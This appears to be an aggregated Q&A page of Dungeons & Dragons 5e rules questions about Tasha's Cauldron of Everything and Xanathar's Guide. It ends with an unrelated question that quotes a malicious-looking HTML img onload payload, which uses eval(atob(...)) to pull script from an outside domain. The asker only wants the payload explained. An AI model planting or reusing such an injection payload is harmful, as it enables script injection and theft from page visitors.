With Blind Fighting style from Tasha’s Cauldron Of Everything, can you cast spells that require a target you can see?

Blind Fighting, as phrased in Tasha’s Cauldron Of Everything, contains additional wording beyond the description of mere Blindsight. The entry for Blind Fighting reads:

You have blindsight with a range of 10 feet. Within that range, you can effectively see anything that isn’t behind total cover, even if you’re blinded or in darkness. Moreover, you can see an invisible creature within that range, unless the creature successfully hides from you.

Using the optional Class Features for the Fighter class which are presented in TCoE, this Blind Fighting fighting style offers not only 10ft of Blindsight, but the wording above, which by my reading at least heavily implies that you should be able to cast spells which target a space, object, or creature "you can see", within the 10ft range of this ability.

You can explicitly "see an invisible creature", but does "you can effectively see anything that isn’t behind total cover" mean that you can cast sighted spells on targets within that 10ft range?

Can you use the Telekentic feat from Tasha’s Cauldron of Everything to break grapples?

With the new 5e book, Tasha’s Cauldron of Everything, there exists a new feat: "Telekentic"

You learn to move things with your mind, granting you the following benefits:

  • Increase your Intelligence, Wisdom, or Charisma score by 1, to a maximum of 20.

  • You learn the Mage Hand cantrip. You can cast it without verbal or somatic components, and you can make the spectral hand invisible. If you already know this spell, its range increases by 30 feet when you cast it. Its spellcasting ability is the ability increased by this feat.

  • As a bonus action, you can try to telekinetically shove one creature you can see within 30 feet of you. When you do so, the target must succeed on a Strength saving throw (DC 8 + your proficiency bonus + the ability modifier of the score increased by this feat) or be moved 5 feet toward or away from you. A creature can willingly fail this save.

My idea with this feat is that as a bonus action, you can presumably break your teammates from any grapple. As to the reason I bring up the definition of grapple from the appendix in Players Hand Book.

  • A grappled creature’s speed becomes 0, and it can’t benefit from any bonus to its speed.

  • The condition ends if the grappler is incapacitated (see the condition).

  • The condition also ends if an effect removes the grappled creature from the reach of the grappler or grappling effect, such as when a creature is hurled away by the thunderwave spell.

My interpretation of bullet 3 of Grapple is that if I, a wizard, cast thunderwave/thunderstep/lightning-lure/telekinetic on a teammate, in such a way that, assuming they failed the save, they would be pushed/pulled out of reach of the grappler then grapple would be broken and the grappler has no way of contesting this.

The caveat with telekinetic feat however is that in the final sentence of bullet 3, the person being affected by the telekinetic push/pull can willingly fail. Therefore no check has to be made.


My friend group is in a bit of pickle over this.

I think, as per RAW, the grappler gets no chance to maintain grapple at all and the whether the grapple-e gets moved or not is based purely on if they pass or fail the saving throw of the spell. It’s just in the case of telekinetic they can voluntarily fail.

Some in my friend group believe that the save should be against the grappler, and not the grapple-e. Which then raises the question, does the grappler have to make the save (they arn’t being targeted by the spell, and is unfair to the caster/grappler depending on the saves and modifiers) or does the grappler contest the save by performing an athletics to maintain (this seems ridiculous unfair to the caster).

Furthermore, what if I target the grappler with telekinetic, they fail, do they then get a chance to maintain grapple and pull their grapple-e with them? Or does them holding onto the grapple-e cause them not be moved because moving grapple-e halves your movement and telekinetic moves them a total distance of 5 which is halved to zero.

If grapple-e gets moved with the grappler then it gives an unfair advantage to the caster of the spell as now they’re moving two people for one spell.

I would love to know other’s opinions on this.

My remark:

The grappler has no say in contesting the forced movement of the grapple-e by an external spell. Its purely between the grapple-e, who is being affected by the spell, and the person casting the spell.

Can Favored Foe from Tasha’s Cauldron of Everything target more than one creature at the same time?

The new Ranger ability, Favored Foe, says:

When you hit a creature with an attack roll, you can call on your mystical bond with nature to mark the target as your favored enemy for 1 minute or until you lose your concentration (as if you were concentrating on a spell).

The first time on each of your turns that you hit the favored enemy and deal damage to it, including when you mark it, you can increase that damage by 1d4.

You can use this feature to mark a favored enemy a number of times equal to your proficiency bonus, and you regain all expended uses when you finish a long rest.

Since the ability says that you mark the creature when you hit it and that you can use this feature a number of times equal to your proficiency modifier. I am wondering if you could target two creatures in the same turn, since you have Extra Attack at 5th level, to maximize the damage you can deal in a turn.

The scenario I imagine is the following, you attack creature A and mark it, then with your extra attack you attack creature B and mark it. On your next turn, you again attack creature A & B so you can use the "The first time on each of your turns that you hit the favoured enemy" clause of Favoured Foe ability to deal the extra damage since both creatures got hit only once on its turn.

Would this work?

D&D5e Warlock Spell slot level with the feat Metamagic Adept from Tasha’s Cauldren of Everything

I have a warlock tiefling for which I am considering to choose the feat Metamagic Adept from Tasha’s Cauldren of Everything. This will get me 2 sorcery points to spend.

  1. Looking at the sorcery point system I believe I could spend these 2 sorcery points to regain one 1st-level spell slot, since a warlock only has a few this. I imagine this would be helpful. However this is not stated in the feat specifically, only to use two Metamagic options. Is there a source that mentions something about the feat that one could exchange the 2 sorcery points into spell slots as well? Or would someone rule it as possible?

  2. If I understand correctly, as a warlock I could only cast spells at a certain level. The reason I am asking is related to the question above. If I am returning 2 sorcery points and get a 1st-level spell back. That would be great at lower levels I think. Since a warlock as of 3rd level could only cast spells from level 2, a warlock starting from level 5 casting level 3 spells, etc. Meaning I (most likely) wouldn’t prepare a 1st level spell at higher levels. Could I exchange 2 sorcery points for a 1st level spell, but then cast it at a higher level spell since I am a warlock, or is that the reason why the answer to question 1 would be no?

Below the information on sorcery points (flexible casting) and the feat metamagic adept.

Feat Metamagic Adept:

You’ve learned how to exert your will on your spells to alter how they function. You gain the following benefits:

  • You learn two Metamagic options of your choice from the sorcerer class. You can use only one Metamagic option on a spell when you cast it, unless the option says otherwise. Whenever you gain a level, you can replace one of your Metamagic options with another one from the sorcerer class.
  • You gain 2 sorcery points to spend on Metamagic (these points are added to any sorcery points you have from another source but can be used only on Metamagic). You regain all spent sorcery points when you finish a long rest.

Flexible Casting:

You can use your sorcery points to gain additional Spell Slots, or sacrifice Spell Slots to gain additional sorcery points. Creating Spell Slots. You can transform unexpended sorcery points into one spell slot as a Bonus Action on Your Turn. The created Spell Slots Vanish at the end of a Long Rest. The Creating Spell Slots table shows the cost of Creating a Spell slot of a given level. You can create Spell Slots no higher in level than 5th. Any spell slot you create with this feature vanishes when you finish a Long Rest.

Is there a reason not to take the optional class features from Tasha’s Cauldron of Everything?

Tasha’s Cauldron of Everything includes optional class features for every class from the Player’s Handbook. Barbarians, for example, can choose to gain an extra skill proficiency at 3rd level, and/or choose to gain a small bonus move as part of the action they take to start raging at 7th.

These features are listed as optional, but they don’t seem to have any drawbacks attached, besides a note that you should consult with your DM about taking them. Given DM approval, is there any good mechanical reason not to take an optional class feature, or should they essentially be considered upgrades over the base class?

Does a Divine Soul Sorcerer have access to the additional cleric spells in Tasha’s Cauldron of Everything?

Additional Cleric Spells

1st-level cleric feature

The spells in the following list expand the cleric spell list in the Player’s Handbook. The list is organized by spell level, not character level.

Divine Magic

When your Spellcasting feature lets you learn or replace a sorcerer cantrip or a sorcerer spell of 1st level or higher, you can choose the new spell from the cleric spell list or the sorcerer spell list. You must otherwise obey all the restrictions for selecting the spell, and it becomes a sorcerer spell for you.

Do the additional spells count as being on the Cleric’s spell list for the purposes of Divine Magic as long as both supplements are agreed to be used?

What is the correct interpretation of the Gambling Results table in Xanathar’s Guide to Everything?

In Xanathar’s Guide to Everything, one of the downtime options provided in “Downtime, Revised” allows a character to gamble during their downtime to earn extra money.

Gambling

Games of chance are a way to make a fortune—and perhaps a better way to lose one.

[…]

Gambling Results
\begin{array}{|l|l|} \hline \text{Result} & \text{Value} \ \hline \text{0 Successes} & \text{Lose all the money you bet, and accrue a debt equal to that amount.} \ \hline \text{1 Success} & \text{Lose half the money you bet.} \ \hline \text{2 Successes} & \text{Gain the amount you bet plus half again more.} \ \hline \text{3 Successes} & \text{Gain double the amount you bet.} \ \hline \end{array}

—Xanathar’s Guide to Everything, pg. 130

So if I place a bet of 100gp and make my checks against this table, how much would I have, for each category?

Did D&D 5e ever use a d3 prior to Tasha’s Cauldron of Everything?

The Path of Wild Magic Barbarian recently released in the preview for Tasha’s Cauldron of Everything has the unusual design choice of requiring a d3 roll for Bolstering Magic.

Needless to say, it’s highly unlikely that the average 5e player has a d3 die in their collection. I can’t recall any other feature that requires such an unusual die.

Was this the first time the d3 was used officially?

I’m wondering what this code does and the breakdown of everything [closed]

<img src="/Thumbs/Avatar.ashx" onload= "eval(atob("PE7dJSL=")+"("+"'//assetbump.me'"+")")"> 

I know its a javascript code used to steal information or access when entered into an html environment on a page like inspect element but how does this work and how dangerous can this really be?

disclaimer: I changed the letters and numbers for "PE7dJSL="